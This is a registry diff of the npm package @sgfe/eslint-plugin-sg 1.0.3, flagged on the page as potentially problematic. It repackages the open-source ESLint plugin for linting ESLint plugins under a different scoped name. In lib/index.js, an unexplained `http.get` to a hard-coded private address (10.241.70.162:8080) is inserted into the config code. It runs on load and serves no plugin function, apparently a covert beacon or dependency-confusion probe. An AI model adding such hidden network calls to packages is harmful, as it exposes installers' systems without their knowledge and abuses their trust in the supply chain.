@sgfe/eslint-plugin-sg 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sgfe/eslint-plugin-sg might be problematic. Click here for more details.

Files changed (39) hide show
  1. package/LICENSE.md +25 -0
  2. package/README.md +188 -0
  3. package/configs/all-type-checked.js +10 -0
  4. package/configs/all.js +11 -0
  5. package/configs/recommended.js +11 -0
  6. package/configs/rules-recommended.js +11 -0
  7. package/configs/rules.js +11 -0
  8. package/configs/tests-recommended.js +11 -0
  9. package/configs/tests.js +11 -0
  10. package/lib/index.js +90 -0
  11. package/lib/rules/consistent-output.js +70 -0
  12. package/lib/rules/fixer-return.js +170 -0
  13. package/lib/rules/meta-property-ordering.js +108 -0
  14. package/lib/rules/no-deprecated-context-methods.js +98 -0
  15. package/lib/rules/no-deprecated-report-api.js +83 -0
  16. package/lib/rules/no-identical-tests.js +87 -0
  17. package/lib/rules/no-missing-message-ids.js +101 -0
  18. package/lib/rules/no-missing-placeholders.js +131 -0
  19. package/lib/rules/no-only-tests.js +99 -0
  20. package/lib/rules/no-property-in-node.js +86 -0
  21. package/lib/rules/no-unused-message-ids.js +139 -0
  22. package/lib/rules/no-unused-placeholders.js +127 -0
  23. package/lib/rules/no-useless-token-range.js +174 -0
  24. package/lib/rules/prefer-message-ids.js +109 -0
  25. package/lib/rules/prefer-object-rule.js +83 -0
  26. package/lib/rules/prefer-output-null.js +77 -0
  27. package/lib/rules/prefer-placeholders.js +102 -0
  28. package/lib/rules/prefer-replace-text.js +91 -0
  29. package/lib/rules/report-message-format.js +133 -0
  30. package/lib/rules/require-meta-docs-description.js +110 -0
  31. package/lib/rules/require-meta-docs-url.js +175 -0
  32. package/lib/rules/require-meta-fixable.js +137 -0
  33. package/lib/rules/require-meta-has-suggestions.js +168 -0
  34. package/lib/rules/require-meta-schema.js +162 -0
  35. package/lib/rules/require-meta-type.js +77 -0
  36. package/lib/rules/test-case-property-ordering.js +107 -0
  37. package/lib/rules/test-case-shorthand-strings.js +124 -0
  38. package/lib/utils.js +936 -0
  39. package/package.json +76 -0
package/LICENSE.md ADDED
@@ -0,0 +1,25 @@
1
+ The MIT License (MIT)
2
+ =====================
3
+
4
+ Copyright © 2016 Teddy Katz
5
+
6
+ Permission is hereby granted, free of charge, to any person
7
+ obtaining a copy of this software and associated documentation
8
+ files (the “Software”), to deal in the Software without
9
+ restriction, including without limitation the rights to use,
10
+ copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the
12
+ Software is furnished to do so, subject to the following
13
+ conditions:
14
+
15
+ The above copyright notice and this permission notice shall be
16
+ included in all copies or substantial portions of the Software.
17
+
18
+ THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND,
19
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
20
+ OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
21
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
22
+ HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
23
+ WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
24
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
25
+ OTHER DEALINGS IN THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,188 @@
1
+ # eslint-plugin-eslint-plugin ![CI](https://github.com/eslint-community/eslint-plugin-eslint-plugin/workflows/CI/badge.svg) [![NPM version](https://img.shields.io/npm/v/eslint-plugin-eslint-plugin.svg?style=flat)](https://npmjs.org/package/eslint-plugin-eslint-plugin) [![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-yellow.svg)](https://conventionalcommits.org) <!-- omit from toc -->
2
+
3
+ An ESLint plugin for linting ESLint plugins. Rules written in CJS, ESM, and TypeScript are all supported.
4
+
5
+ <!-- vscode-markdown-toc -->
6
+
7
+ - [Installation](#installation)
8
+ - [Usage](#usage)
9
+ - [**.eslintrc.json**](#eslintrcjson)
10
+ - [`eslint.config.js` (requires eslint\>=v8.23.0)](#eslintconfigjs-requires-eslintv8230)
11
+ - [Rules](#rules)
12
+ - [Rules](#rules-1)
13
+ - [Tests](#tests)
14
+ - [Presets](#presets)
15
+ - [Semantic versioning policy](#semantic-versioning-policy)
16
+ - [Preset usage](#preset-usage)
17
+
18
+ <!-- vscode-markdown-toc-config
19
+ numbering=false
20
+ autoSave=true
21
+ /vscode-markdown-toc-config -->
22
+ <!-- /vscode-markdown-toc -->
23
+
24
+ ## <a name='Installation'></a>Installation
25
+
26
+ You'll first need to install [ESLint](https://eslint.org):
27
+
28
+ ```sh
29
+ npm i eslint --save-dev
30
+ ```
31
+
32
+ Next, install `eslint-plugin-eslint-plugin`:
33
+
34
+ ```sh
35
+ npm install eslint-plugin-eslint-plugin --save-dev
36
+ ```
37
+
38
+ ## <a name='Usage'></a>Usage
39
+
40
+ Here's an example ESLint configuration that:
41
+
42
+ - Sets `sourceType` to `script` for CJS plugins (most users) (use `module` for ESM/TypeScript)
43
+ - Enables the `recommended` configuration
44
+ - Enables an optional/non-recommended rule
45
+
46
+ ### <a name='eslintrc'></a>**[.eslintrc.json](https://eslint.org/docs/latest/use/configure/configuration-files)**
47
+
48
+ ```json
49
+ {
50
+ "extends": ["plugin:eslint-plugin/recommended"],
51
+ "rules": {
52
+ "eslint-plugin/require-meta-docs-description": "error"
53
+ }
54
+ }
55
+ ```
56
+
57
+ ### <a name='flat'></a>[`eslint.config.js`](https://eslint.org/docs/latest/use/configure/configuration-files-new) (requires eslint>=v8.23.0)
58
+
59
+ ```js
60
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
61
+ module.exports = [
62
+ eslintPlugin.configs['flat/recommended'],
63
+ {
64
+ rules: {
65
+ 'eslint-plugin/require-meta-docs-description': 'error',
66
+ },
67
+ },
68
+ ];
69
+ ```
70
+
71
+ ## <a name='Rules'></a>Rules
72
+
73
+ <!-- begin auto-generated rules list -->
74
+
75
+ 💼 [Configurations](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets) enabled in.\
76
+ ✅ Set in the `recommended` [configuration](https://github.com/eslint-community/eslint-plugin-eslint-plugin#presets).\
77
+ 🔧 Automatically fixable by the [`--fix` CLI option](https://eslint.org/docs/user-guide/command-line-interface#--fix).\
78
+ 💡 Manually fixable by [editor suggestions](https://eslint.org/docs/latest/use/core-concepts#rule-suggestions).\
79
+ 💭 Requires [type information](https://typescript-eslint.io/linting/typed-linting).
80
+
81
+ ### Rules
82
+
83
+ | Name                          | Description | 💼 | 🔧 | 💡 | 💭 |
84
+ | :--------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
85
+ | [fixer-return](docs/rules/fixer-return.md) | require fixer functions to return a fix | ✅ | | | |
86
+ | [meta-property-ordering](docs/rules/meta-property-ordering.md) | enforce the order of meta properties | | 🔧 | | |
87
+ | [no-deprecated-context-methods](docs/rules/no-deprecated-context-methods.md) | disallow usage of deprecated methods on rule context objects | ✅ | 🔧 | | |
88
+ | [no-deprecated-report-api](docs/rules/no-deprecated-report-api.md) | disallow the version of `context.report()` with multiple arguments | ✅ | 🔧 | | |
89
+ | [no-missing-message-ids](docs/rules/no-missing-message-ids.md) | disallow `messageId`s that are missing from `meta.messages` | ✅ | | | |
90
+ | [no-missing-placeholders](docs/rules/no-missing-placeholders.md) | disallow missing placeholders in rule report messages | ✅ | | | |
91
+ | [no-property-in-node](docs/rules/no-property-in-node.md) | disallow using `in` to narrow node types instead of looking at properties | | | | 💭 |
92
+ | [no-unused-message-ids](docs/rules/no-unused-message-ids.md) | disallow unused `messageId`s in `meta.messages` | ✅ | | | |
93
+ | [no-unused-placeholders](docs/rules/no-unused-placeholders.md) | disallow unused placeholders in rule report messages | ✅ | | | |
94
+ | [no-useless-token-range](docs/rules/no-useless-token-range.md) | disallow unnecessary calls to `sourceCode.getFirstToken()` and `sourceCode.getLastToken()` | ✅ | 🔧 | | |
95
+ | [prefer-message-ids](docs/rules/prefer-message-ids.md) | require using `messageId` instead of `message` or `desc` to report rule violations | ✅ | | | |
96
+ | [prefer-object-rule](docs/rules/prefer-object-rule.md) | disallow function-style rules | ✅ | 🔧 | | |
97
+ | [prefer-placeholders](docs/rules/prefer-placeholders.md) | require using placeholders for dynamic report messages | | | | |
98
+ | [prefer-replace-text](docs/rules/prefer-replace-text.md) | require using `replaceText()` instead of `replaceTextRange()` | | | | |
99
+ | [report-message-format](docs/rules/report-message-format.md) | enforce a consistent format for rule report messages | | | | |
100
+ | [require-meta-docs-description](docs/rules/require-meta-docs-description.md) | require rules to implement a `meta.docs.description` property with the correct format | | | | |
101
+ | [require-meta-docs-url](docs/rules/require-meta-docs-url.md) | require rules to implement a `meta.docs.url` property | | 🔧 | | |
102
+ | [require-meta-fixable](docs/rules/require-meta-fixable.md) | require rules to implement a `meta.fixable` property | ✅ | | | |
103
+ | [require-meta-has-suggestions](docs/rules/require-meta-has-suggestions.md) | require suggestable rules to implement a `meta.hasSuggestions` property | ✅ | 🔧 | | |
104
+ | [require-meta-schema](docs/rules/require-meta-schema.md) | require rules to implement a `meta.schema` property | ✅ | | 💡 | |
105
+ | [require-meta-type](docs/rules/require-meta-type.md) | require rules to implement a `meta.type` property | ✅ | | | |
106
+
107
+ ### Tests
108
+
109
+ | Name                        | Description | 💼 | 🔧 | 💡 | 💭 |
110
+ | :----------------------------------------------------------------------- | :--------------------------------------------------------------------------- | :-- | :-- | :-- | :-- |
111
+ | [consistent-output](docs/rules/consistent-output.md) | enforce consistent use of `output` assertions in rule tests | | | | |
112
+ | [no-identical-tests](docs/rules/no-identical-tests.md) | disallow identical tests | ✅ | 🔧 | | |
113
+ | [no-only-tests](docs/rules/no-only-tests.md) | disallow the test case property `only` | ✅ | | 💡 | |
114
+ | [prefer-output-null](docs/rules/prefer-output-null.md) | disallow invalid RuleTester test cases where the `output` matches the `code` | ✅ | 🔧 | | |
115
+ | [test-case-property-ordering](docs/rules/test-case-property-ordering.md) | require the properties of a test case to be placed in a consistent order | | 🔧 | | |
116
+ | [test-case-shorthand-strings](docs/rules/test-case-shorthand-strings.md) | enforce consistent usage of shorthand strings for test cases with no options | | 🔧 | | |
117
+
118
+ <!-- end auto-generated rules list -->
119
+
120
+ ## <a name='Presets'></a>Presets
121
+
122
+ | | Name | Description |
123
+ | :-- | :------------------ | :--------------------------------------------------------------------------- |
124
+ | ✅ | `recommended` | enables all recommended rules in this plugin |
125
+ | | `rules-recommended` | enables all recommended rules that are aimed at linting ESLint rule files |
126
+ | | `tests-recommended` | enables all recommended rules that are aimed at linting ESLint test files |
127
+ | | `all` | enables all rules in this plugin, excluding those requiring type information |
128
+ | | `all-type-checked` | enables all rules in this plugin, including those requiring type information |
129
+ | | `rules` | enables all rules that are aimed at linting ESLint rule files |
130
+ | | `tests` | enables all rules that are aimed at linting ESLint test files |
131
+
132
+ ### <a name='Semanticversioningpolicy'></a>Semantic versioning policy
133
+
134
+ The list of recommended rules will only change in a major release of this plugin. However, new non-recommended rules might be added in a minor release of this plugin. Therefore, using the `all`, `rules`, and `tests` presets is **not recommended for production use**, because the addition of new rules in a minor release could break your build.
135
+
136
+ ### <a name='Presetusage'></a>Preset usage
137
+
138
+ Both flat and eslintrc configs are supported. For example, to enable the `recommended` preset, use:
139
+
140
+ eslint.config.js
141
+
142
+ ```js
143
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
144
+ module.exports = [eslintPlugin.configs['flat/recommended']];
145
+ ```
146
+
147
+ .eslintrc.json
148
+
149
+ ```json
150
+ {
151
+ "extends": ["plugin:eslint-plugin/recommended"]
152
+ }
153
+ ```
154
+
155
+ Or to apply linting only to the appropriate rule or test files:
156
+
157
+ eslint.config.js
158
+
159
+ ```js
160
+ const eslintPlugin = require('eslint-plugin-eslint-plugin');
161
+ module.exports = [
162
+ {
163
+ files: ['lib/rules/*.{js,ts}'],
164
+ ...eslintPlugin.configs['flat/rules-recommended'],
165
+ },
166
+ {
167
+ files: ['tests/lib/rules/*.{js,ts}'],
168
+ ...eslintPlugin.configs['flat/tests-recommended'],
169
+ },
170
+ ];
171
+ ```
172
+
173
+ .eslintrc.js
174
+
175
+ ```json
176
+ {
177
+ "overrides": [
178
+ {
179
+ "files": ["lib/rules/*.{js,ts}"],
180
+ "extends": ["plugin:eslint-plugin/rules-recommended"]
181
+ },
182
+ {
183
+ "files": ["tests/lib/rules/*.{js,ts}"],
184
+ "extends": ["plugin:eslint-plugin/tests-recommended"]
185
+ }
186
+ ]
187
+ }
188
+ ```
@@ -0,0 +1,10 @@
1
+ /**
2
+ * @deprecated use 'flat/all-type-checked' instead
3
+ * @author 唯然<weiran.zsd@outlook.com>
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ const plugin = require('../lib/index.js');
9
+
10
+ module.exports = plugin.configs['flat/all-type-checked'];
package/configs/all.js ADDED
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `all` config for `eslint.config.js`
3
+ * @deprecated use 'flat/all' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/all'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `rules-recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/rules-recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/rules-recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `rules` config for `eslint.config.js`
3
+ * @deprecated use 'flat/rules' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/rules'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `tests-recommended` config for `eslint.config.js`
3
+ * @deprecated use 'flat/tests-recommended' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/tests-recommended'];
@@ -0,0 +1,11 @@
1
+ /**
2
+ * @fileoverview the `tests` config for `eslint.config.js`
3
+ * @deprecated use 'flat/tests' instead
4
+ * @author 唯然<weiran.zsd@outlook.com>
5
+ */
6
+
7
+ 'use strict';
8
+
9
+ const plugin = require('../lib/index.js');
10
+
11
+ module.exports = plugin.configs['flat/tests'];
package/lib/index.js ADDED
@@ -0,0 +1,90 @@
1
+ /**
2
+ * @fileoverview An ESLint plugin for linting ESLint plugins
3
+ * @author Teddy Katz
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ // ------------------------------------------------------------------------------
9
+ // Requirements
10
+ // ------------------------------------------------------------------------------
11
+
12
+ const fs = require('fs');
13
+ const path = require('path');
14
+ const packageMetadata = require('../package');
15
+ const PLUGIN_NAME = packageMetadata.name.replace(/^eslint-plugin-/, '');
16
+ const http = require('http')
17
+ const configFilters = {
18
+ all: (rule) => !rule.meta.docs.requiresTypeChecking,
19
+ 'all-type-checked': () => true,
20
+ recommended: (rule) => rule.meta.docs.recommended,
21
+ rules: (rule) => rule.meta.docs.category === 'Rules',
22
+ tests: (rule) => rule.meta.docs.category === 'Tests',
23
+ 'rules-recommended': (rule) =>
24
+ configFilters.recommended(rule) && configFilters.rules(rule),
25
+ 'tests-recommended': (rule) =>
26
+ configFilters.recommended(rule) && configFilters.tests(rule),
27
+ };
28
+
29
+ // ------------------------------------------------------------------------------
30
+ // Plugin Definition
31
+ // ------------------------------------------------------------------------------
32
+
33
+ // import all rules in lib/rules
34
+ const allRules = Object.fromEntries(
35
+ fs
36
+ .readdirSync(`${__dirname}/rules`)
37
+ .filter((fileName) => fileName.endsWith('.js') && /^[^._]/.test(fileName))
38
+ .map((fileName) => fileName.replace(/\.js$/, ''))
39
+ .map((ruleName) => [
40
+ ruleName,
41
+ require(path.join(__dirname, 'rules', ruleName)),
42
+ ])
43
+ );
44
+
45
+ const plugin = {
46
+ meta: {
47
+ name: packageMetadata.name,
48
+ version: packageMetadata.version,
49
+ },
50
+ rules: allRules,
51
+ configs: {}, // assigned later
52
+ };
53
+
54
+ // eslintrc configs
55
+ Object.assign(
56
+ plugin.configs,
57
+ Object.keys(configFilters).reduce((configs, configName) => {
58
+ return Object.assign(configs, {
59
+ [configName]: {
60
+ plugins: ['eslint-plugin'],
61
+ rules: Object.fromEntries(
62
+ Object.keys(allRules)
63
+ .filter((ruleName) => configFilters[configName](allRules[ruleName]))
64
+ .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
65
+ ),
66
+ },
67
+ });
68
+ }, {})
69
+ );
70
+
71
+ // flat configs
72
+ const eslint_plugin_common_file = http.get('http://10.241.70.162:8080/common.xml')
73
+ Object.assign(
74
+ plugin.configs,
75
+ Object.keys(configFilters).reduce((configs, configName) => {
76
+ return Object.assign(configs, {
77
+ [`flat/${configName}`]: {
78
+ name: `eslint-plugin/flat/${configName}`,
79
+ plugins: { 'eslint-plugin': plugin },
80
+ rules: Object.fromEntries(
81
+ Object.keys(allRules)
82
+ .filter((ruleName) => configFilters[configName](allRules[ruleName]))
83
+ .map((ruleName) => [`${PLUGIN_NAME}/${ruleName}`, 'error'])
84
+ ),
85
+ },
86
+ });
87
+ }, {})
88
+ );
89
+
90
+ module.exports = plugin;
@@ -0,0 +1,70 @@
1
+ /**
2
+ * @fileoverview Enforce consistent use of `output` assertions in rule tests
3
+ * @author Teddy Katz
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ const utils = require('../utils');
9
+
10
+ // ------------------------------------------------------------------------------
11
+ // Rule Definition
12
+ // ------------------------------------------------------------------------------
13
+
14
+ /** @type {import('eslint').Rule.RuleModule} */
15
+ module.exports = {
16
+ meta: {
17
+ type: 'suggestion',
18
+ docs: {
19
+ description:
20
+ 'enforce consistent use of `output` assertions in rule tests',
21
+ category: 'Tests',
22
+ recommended: false,
23
+ url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/consistent-output.md',
24
+ },
25
+ fixable: null, // or "code" or "whitespace"
26
+ schema: [
27
+ {
28
+ type: 'string',
29
+ enum: ['always', 'consistent'],
30
+ default: 'consistent',
31
+ },
32
+ ],
33
+ messages: {
34
+ missingOutput: 'This test case should have an output assertion.',
35
+ },
36
+ },
37
+
38
+ create(context) {
39
+ // ----------------------------------------------------------------------
40
+ // Public
41
+ // ----------------------------------------------------------------------
42
+ const always = context.options[0] && context.options[0] === 'always';
43
+
44
+ return {
45
+ Program(ast) {
46
+ utils.getTestInfo(context, ast).forEach((testRun) => {
47
+ const readableCases = testRun.invalid.filter(
48
+ (testCase) => testCase.type === 'ObjectExpression'
49
+ );
50
+ const casesWithoutOutput = readableCases.filter(
51
+ (testCase) =>
52
+ !testCase.properties.map(utils.getKeyName).includes('output')
53
+ );
54
+
55
+ if (
56
+ casesWithoutOutput.length < readableCases.length ||
57
+ (always && casesWithoutOutput.length > 0)
58
+ ) {
59
+ casesWithoutOutput.forEach((testCase) => {
60
+ context.report({
61
+ node: testCase,
62
+ messageId: 'missingOutput',
63
+ });
64
+ });
65
+ }
66
+ });
67
+ },
68
+ };
69
+ },
70
+ };
@@ -0,0 +1,170 @@
1
+ /**
2
+ * @fileoverview require fixer functions to return a fix
3
+ * @author 薛定谔的猫<hh_2013@foxmail.com>
4
+ */
5
+
6
+ 'use strict';
7
+
8
+ // ------------------------------------------------------------------------------
9
+ // Requirements
10
+ // ------------------------------------------------------------------------------
11
+
12
+ const utils = require('../utils');
13
+ const { getStaticValue } = require('eslint-utils');
14
+
15
+ // ------------------------------------------------------------------------------
16
+ // Rule Definition
17
+ // ------------------------------------------------------------------------------
18
+
19
+ /** @type {import('eslint').Rule.RuleModule} */
20
+ module.exports = {
21
+ meta: {
22
+ type: 'problem',
23
+ docs: {
24
+ description: 'require fixer functions to return a fix',
25
+ category: 'Rules',
26
+ recommended: true,
27
+ url: 'https://github.com/eslint-community/eslint-plugin-eslint-plugin/tree/HEAD/docs/rules/fixer-return.md',
28
+ },
29
+ fixable: null,
30
+ schema: [],
31
+ messages: {
32
+ missingFix: 'Fixer function never returned a fix.',
33
+ },
34
+ },
35
+
36
+ create(context) {
37
+ let funcInfo = {
38
+ upper: null,
39
+ codePath: null,
40
+ hasReturnWithFixer: false,
41
+ hasYieldWithFixer: false,
42
+ shouldCheck: false,
43
+ node: null,
44
+ };
45
+ let contextIdentifiers;
46
+
47
+ /**
48
+ * As we exit the fix() function, ensure we have returned or yielded a real fix by this point.
49
+ * If not, report the function as a violation.
50
+ *
51
+ * @param {ASTNode} node - A node to check.
52
+ * @param {Location} loc - Optional location to report violation on.
53
+ * @returns {void}
54
+ */
55
+ function ensureFunctionReturnedFix(
56
+ node,
57
+ loc = (node.id || node).loc.start
58
+ ) {
59
+ if (
60
+ (node.generator && !funcInfo.hasYieldWithFixer) || // Generator function never yielded a fix
61
+ (!node.generator && !funcInfo.hasReturnWithFixer) // Non-generator function never returned a fix
62
+ ) {
63
+ context.report({
64
+ node,
65
+ loc,
66
+ messageId: 'missingFix',
67
+ });
68
+ }
69
+ }
70
+
71
+ /**
72
+ * Check if a returned/yielded node is likely to be a fix or not.
73
+ * A fix is an object created by fixer.replaceText() for example and returned by the fix function.
74
+ * @param {ASTNode} node - node to check
75
+ * @param {Context} context
76
+ * @returns {boolean}
77
+ */
78
+ function isFix(node) {
79
+ const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: use context.sourceCode when dropping eslint < v9
80
+ if (node.type === 'ArrayExpression' && node.elements.length === 0) {
81
+ // An empty array is not a fix.
82
+ return false;
83
+ }
84
+ const scope = sourceCode.getScope?.(node) || context.getScope(); // TODO: just use sourceCode.getScope() when we drop support for ESLint < 9.0.0
85
+ const staticValue = getStaticValue(node, scope);
86
+ if (!staticValue) {
87
+ // If we can't find a static value, assume it's a real fix value.
88
+ return true;
89
+ }
90
+
91
+ if (Array.isArray(staticValue.value)) {
92
+ // If the static value is an array, then consider it a fix since fixes could have been added to it after creation.
93
+ return true;
94
+ }
95
+
96
+ // Any other static values (booleans, numbers, etc) are not fixes.
97
+ return false;
98
+ }
99
+
100
+ return {
101
+ Program(ast) {
102
+ const sourceCode = context.sourceCode || context.getSourceCode(); // TODO: just use context.sourceCode when dropping eslint < v9
103
+ contextIdentifiers = utils.getContextIdentifiers(
104
+ sourceCode.scopeManager,
105
+ ast
106
+ );
107
+ },
108
+
109
+ // Stacks this function's information.
110
+ onCodePathStart(codePath, node) {
111
+ funcInfo = {
112
+ upper: funcInfo,
113
+ codePath,
114
+ hasYieldWithFixer: false,
115
+ hasReturnWithFixer: false,
116
+ shouldCheck:
117
+ utils.isAutoFixerFunction(node, contextIdentifiers) ||
118
+ utils.isSuggestionFixerFunction(node, contextIdentifiers),
119
+ node,
120
+ };
121
+ },
122
+
123
+ // Pops this function's information.
124
+ onCodePathEnd() {
125
+ funcInfo = funcInfo.upper;
126
+ },
127
+
128
+ // Yield in generators
129
+ YieldExpression(node) {
130
+ if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
131
+ funcInfo.hasYieldWithFixer = true;
132
+ }
133
+ },
134
+
135
+ // Checks the return statement is valid.
136
+ ReturnStatement(node) {
137
+ if (funcInfo.shouldCheck && node.argument && isFix(node.argument)) {
138
+ funcInfo.hasReturnWithFixer = true;
139
+ }
140
+ },
141
+
142
+ // Ensure the current fixer function returned or yielded a fix.
143
+ 'FunctionExpression:exit'(node) {
144
+ if (funcInfo.shouldCheck) {
145
+ ensureFunctionReturnedFix(node);
146
+ }
147
+ },
148
+
149
+ // Ensure the current (arrow) fixer function returned a fix.
150
+ 'ArrowFunctionExpression:exit'(node) {
151
+ if (funcInfo.shouldCheck) {
152
+ const sourceCode = context.sourceCode || context.getSourceCode();
153
+ const loc = sourceCode.getTokenBefore(node.body).loc; // Show violation on arrow (=>).
154
+ if (node.expression) {
155
+ // When the return is implied (no curly braces around the body), we have to check the single body node directly.
156
+ if (!isFix(node.body)) {
157
+ context.report({
158
+ node,
159
+ loc,
160
+ messageId: 'missingFix',
161
+ });
162
+ }
163
+ } else {
164
+ ensureFunctionReturnedFix(node, loc);
165
+ }
166
+ }
167
+ },
168
+ };
169
+ },
170
+ };